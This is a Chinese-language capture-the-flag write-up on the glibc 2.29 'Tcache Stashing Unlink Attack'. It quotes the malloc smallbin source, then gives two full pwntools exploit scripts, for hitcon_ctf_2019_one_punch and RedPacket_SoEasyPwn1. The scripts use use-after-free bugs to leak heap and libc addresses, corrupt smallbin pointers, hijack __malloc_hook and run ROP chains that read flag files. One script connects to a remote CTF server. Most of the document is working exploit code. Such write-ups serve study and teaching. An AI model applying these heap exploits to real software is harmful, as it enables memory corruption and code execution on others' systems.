Tcache Stashing Unlink Attack
Tcache Stashing Unlink Attack就是calloc的分配不从tcache bin里取chunk,calloc会遍历fastbin、small bin、large bin,如果在tcache bin里,对应的size的bin不为空,则会将这些bin的chunk采用头插法插入到tcache bin里。首先,我们来看一下glibc 2.29的源码。
- /*
- If a small request, check regular bin. Since these "smallbins"
- hold one size each, no searching within bins is necessary.
- (For a large request, we need to wait until unsorted chunks are
- processed to find best fit. But for small ones, fits are exact
- anyway, so we can check now, which is faster.)
- */
- if (in_smallbin_range (nb))
- {
- idx = smallbin_index (nb);
- bin = bin_at (av, idx);
- if ((victim = last (bin)) != bin) //取该索引对应的small bin中最后一个chunk
- {
- bck = victim->bk; //获取倒数第二个chunk
- if (__glibc_unlikely (bck->fd != victim)) //检查双向链表完整性
- malloc_printerr ("malloc(): smallbin double linked list corrupted");
- set_inuse_bit_at_offset (victim, nb);
- bin->bk = bck; //将victim从small bin的链表中卸下
- bck->fd = bin;
- if (av != &main_arena)
- set_non_main_arena (victim);
- check_malloced_chunk (av, victim, nb);
- #if USE_TCACHE
- /* While we're here, if we see other chunks of the same size,
- stash them in the tcache. */
- size_t tc_idx = csize2tidx (nb); //获取对应size的tcache索引
- if (tcache && tc_idx < mp_.tcache_bins) //如果该索引在tcache bin范围
- {
- mchunkptr tc_victim;
- /* While bin not empty and tcache not full, copy chunks over. */
- while (tcache->counts[tc_idx] < mp_.tcache_count //当tcache bin不为空并且没满,并且small bin不为空,则依次取最后一个chunk插入到tcache bin里
- && (tc_victim = last (bin)) != bin)
- {
- if (tc_victim != 0)
- {
- bck = tc_victim->bk;
- set_inuse_bit_at_offset (tc_victim, nb);
- if (av != &main_arena)
- set_non_main_arena (tc_victim);
- bin->bk = bck; //将当前chunk从small bin里卸下
- bck->fd = bin;
- //放入tcache bin里
- tcache_put (tc_victim, tc_idx);
- }
- }
- }
- #endif
- void *p = chunk2mem (victim);
- alloc_perturb (p, bytes);
- return p;
- }
- }
如上,我们看到,从small bin中取出最后一个chunk的时候,对双向链表做了完整性的检查,然而,后面将剩余chunk放入tcache bin的时候,却没有这个检查。然后,bck->fd = bin;这句代码,可以将bck->fd处写一个main_arena地址。如果我们可以控制bck,那么就能实现任意地址处写一个main_arena的地址。同理,如果我们能够控制small bin的bck,并且保证vuln_addr->fd = bck,那么就能分配到vuln_addr处。
为了加深理解,我们从两道题来巩固一下。
hitcon_ctf_2019_one_punch
首先,检查一下程序的保护机制
然后,我们用IDA分析一下
Delete功能没有清空指针,可以double free。
以及UAF编辑
Add功能使用的是calloc分配,并且size的大小不在fastbin范围,因此用不了fastbin attack。
后面函数里使用malloc分配
但是要想利用后面函数,就得绕过if的检查,而此处是一个堆地址,我们不能直接修改,我们可以利用Tcache Stashing Unlink Attack将此处写一个main_arena地址,进而可以绕过if,执行malloc从tcache bin里分配到目标处。此处,我们的目的仅仅是往那个堆地址处写一个大于6的数据,在Tcache Stashing Unlink Attack时,会从small bin里取chunk到tcache bin,直到tcache bin填满,但是如果我们伪造了bck,第二次遍历的时候就会发生错误,因为目标处我们不可控。因此,我们只需要让其只进行第一次的遍历,那么,我们就得事先将对应的tcache bin里填满6个。为了绕过对small bin最后一个chunk的完整性检查,我们不能伪造最后一个chunk的bck,而应该伪造倒数第二个chunk的bck。因此,我们需要保证在small bin里有两个chunk。
然后通过calloc取出最后一个chunk时,发生Tcache Stashing,从而将目标处写上一个main_arena地址。
- #0
- add(0,'a'*0x218)
- #1
- add(1,'b'*0x80)
- #1放入tcache bin 6次,剩余1个空位
- for i in range(6):
- delete(1)
- edit(1,'b'*0x10)
接下来,泄露堆地址和glibc地址
- for i in range(6):
- delete(0)
- edit(0,'a'*0x10)
- delete(0)
- show(0)
- sh.recvuntil('hero name: ')
- heap_addr = u64(sh.recv(6).ljust(8,'\x00'))
- print 'heap_addr=',hex(heap_addr)
- edit(0,'a'*0x10)
- #得到unsorted bin
- delete(0)
- show(0)
- sh.recvuntil('hero name: ')
- main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
- malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
- libc_base = malloc_hook_addr - malloc_hook_s
接下来,我们需要得到两个small bin。首先,得到第一个0x90的small bin
- #从unsorted bin里切割0x190,剩余0x90
- add(1,'a'*0x180)
- #触发malloc_consolidate整理unsorted bin,放入small bin
- add(1,'a'*0x400)
- #gap
- add(2,'a'*0x100)
接下来,得到我们第二个small bin。
- for i in range(7):
- delete(1)
- edit(1,'a'*0x10)
- #1放入unsorted bin
- delete(1)
- #从unsorted bin里切割0x380,剩余0x90
- add(2,'a'*0x370)
- #触发malloc_consolidate整理unsorted bin,放入small bin
- add(2,'a'*0x400)
现在,我们要修改倒数第二个small bin的bk为目标地址,然后实施tcache stashing attack
- #修改倒数第二个头chunk的bk,fd不变
- edit(1,'a'*0x370 + p64(0) + p64(0x91) + p64(heap_addr + 0x180) + p64(heap_addr + 0x20 - 0x260))
- #Tcache Stashing Unlink Attack,目标地址处被写入了small bin的地址,因此绕过了后面函数的验证,现在可以调用后门函数了
- add(1,'a'*0x80)
现在,我们就可以调用后面函数了,那么通过UAF伪造tcache bin的next指针,分配到目标处。我们可以改写malloc_hook或者free_hook。如果没有开沙箱的话,我们直接改写为one_gadget即可,如果开啦,我们改为add rsp,0xXX,使得栈进入我们可控的buf区
#coding:utf8
from pwn import *
sh = process('./hitcon_ctf_2019_one_punch')
#sh = remote('node3.buuoj.cn',26885)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.29.so')
malloc_hook_s = libc.symbols['__malloc_hook']
def add(index,content):
sh.sendlineafter('>','1')
sh.sendlineafter('idx:',str(index))
sh.sendafter('hero name:',content)
def malloc(content):
sh.sendlineafter('>','50056')
sh.send(content)
def edit(index,content):
sh.sendlineafter('>','2')
sh.sendlineafter('idx:',str(index))
sh.sendafter('hero name:',content)
def show(index):
sh.sendlineafter('>','3')
sh.sendlineafter('idx:',str(index))
def delete(index):
sh.sendlineafter('>','4')
sh.sendlineafter('idx:',str(index))
#0
add(0,'a'*0x218)
#1
add(1,'b'*0x80)
#1放入tcache bin 6次,剩余1个空位
for i in range(6):
delete(1)
edit(1,'b'*0x10)
for i in range(6):
delete(0)
edit(0,'a'*0x10)
delete(0)
show(0)
sh.recvuntil('hero name: ')
heap_addr = u64(sh.recv(6).ljust(8,'\x00'))
print 'heap_addr=',hex(heap_addr)
edit(0,'a'*0x10)
#得到unsorted bin
delete(0)
show(0)
sh.recvuntil('hero name: ')
main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
add_rsp_48 = libc_base + 0x000000000008cfd6
pop_rdi = libc_base + 0x0000000000026542
pop_rsi = libc_base + 0x0000000000026f9e
pop_rdx = libc_base + 0x000000000012bda6
pop_rax = libc_base + 0x0000000000047cf8
syscall_ret = libc_base + 0x000000000010D022
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
print 'libc_base=',hex(libc_base)
print 'add_rsp_48=',hex(add_rsp_48)
#从unsorted bin里切割0x190,剩余0x90
add(1,'a'*0x180)
#触发malloc_consolidate整理unsorted bin,放入small bin
add(1,'a'*0x400)
#gap
add(2,'a'*0x100)
for i in range(7):
delete(1)
edit(1,'a'*0x10)
#1放入unsorted bin
delete(1)
#从unsorted bin里切割0x380,剩余0x90
add(2,'a'*0x370)
#触发malloc_consolidate整理unsorted bin,放入small bin
add(2,'a'*0x400)
#修改倒数第二个头chunk的bk,fd不变
edit(1,'a'*0x370 + p64(0) + p64(0x91) + p64(heap_addr + 0x180) + p64(heap_addr + 0x20 - 0x260))
#Tcache Stashing Unlink Attack,目标地址处被写入了small bin的地址,因此绕过了后面函数的验证,现在可以调用后门函数了
add(1,'a'*0x80)
#将malloc_hook链接到tcache bin
edit(0,p64(malloc_hook_addr))
malloc('/flag\x00')
flag_addr = heap_addr
#写malloc_hook
malloc(p64(add_rsp_48))
#open(flag_addr,0)
rop = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall_ret)
#read(3,flag_addr,0x30)
rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
#write(1,flag_addr,0x30)
rop += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(write_addr)
add(1,rop)
sh.interactive()
RedPacket_SoEasyPwn1
此题与上一题差不多,直接贴上exp
#coding:utf8
from pwn import *
#sh = process('./RedPacket_SoEasyPwn1')
sh = remote('node3.buuoj.cn',28039)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.29.so')
malloc_hook_s = libc.symbols['__malloc_hook']
open_s = libc.sym['open']
read_s = libc.sym['read']
puts_s = libc.sym['puts']
def add(index,size,content):
sh.sendlineafter('Your input:','1')
sh.sendlineafter('idx:',str(index))
idx = 0
if size == 0x10:
idx = 1
elif size == 0xF0:
idx = 2
elif size == 0x300:
idx = 3
elif size == 0x400:
idx = 4
else:
raise Exception('error size')
sh.sendlineafter('How much do you want?',str(idx))
sh.sendafter('content:',content)
def delete(index):
sh.sendlineafter('Your input:','2')
sh.sendlineafter('idx:',str(index))
def edit(index,content):
sh.sendlineafter('Your input:','3')
sh.sendlineafter('idx:',str(index))
sh.sendafter('content:',content)
def show(index):
sh.sendlineafter('Your input:','4')
sh.sendlineafter('idx:',str(index))
def stackOverflow(payload):
sh.sendlineafter('Your input:','666')
sh.sendafter('What do you want to say?',payload)
for i in range(8):
add(i,0x400,'a')
#六个chunk用于放入0x100的tcache bin
for i in range(8,14):
add(i,0xF0,'b')
#得到0x410大小的unsorted bin
for i in range(14):
delete(i)
#泄露堆地址
show(1)
sh.recv(1)
heap_addr = u64(sh.recv(6).ljust(8,'\x00'))
print 'heap_addr=',hex(heap_addr)
#泄露libc地址
show(7)
sh.recv(1)
main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
pop_rdi = libc_base + 0x0000000000026542
pop_rsi = libc_base + 0x0000000000026f9e
pop_rdx = libc_base + 0x000000000012bda6
leave_ret = libc_base + 0x0000000000058373
open_addr = libc_base + open_s
read_addr = libc_base + read_s
puts_addr = libc_base + puts_s
print 'libc_base=',hex(libc_base)
rop_addr = heap_addr + 0x1F80
flag_addr = rop_addr + 0x78
#open(flag_addr,0)
rop = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
#read(fd,flag_addr,0x30)
rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
#puts(flag_addr)
rop += p64(pop_rdi) + p64(flag_addr) + p64(puts_addr)
#rop += '/flag'.ljust(8,'\x00')
rop += '/password.txt\x00'
#从0x410的unsorted bin里切割一个0x310的空间,剩下的0x100的unsorted bin
add(0,0x300,'a')
#malloc一大的堆,使得unsorted bin里的0x100的chunk放入small bin
add(0,0x400,'b')
#挡住top chunk,不能小于0x100,不然会从得到的small bin里取,这样我们前面就白费
add(1,0x400,'a')
#我们使用同样的方法,来得到第二个0x100的unsorted bin
delete(0)
add(1,0x300,'a')
add(1,0x400,'b')
#修改第一个small bin的bk,指向目标地址
edit(0,'a'*0x300 + p64(0) + p64(0x101) + p64(heap_addr + 0x1F70) + p64(heap_addr - 0x1010 + 0x800 - 0x10))
#Tcache Stashing Unlink Attack,目标地址处被写入了small bin的地址,因此绕过了后面函数的验证,现在可以调用后面函数了
#我们顺便将rop布置在这个堆里
add(2,0xF0,rop)
#栈迁移到我们的rop里执行
stackOverflow('a'*0x80 + p64(rop_addr - 0x8) + p64(leave_ret))
sh.interactive()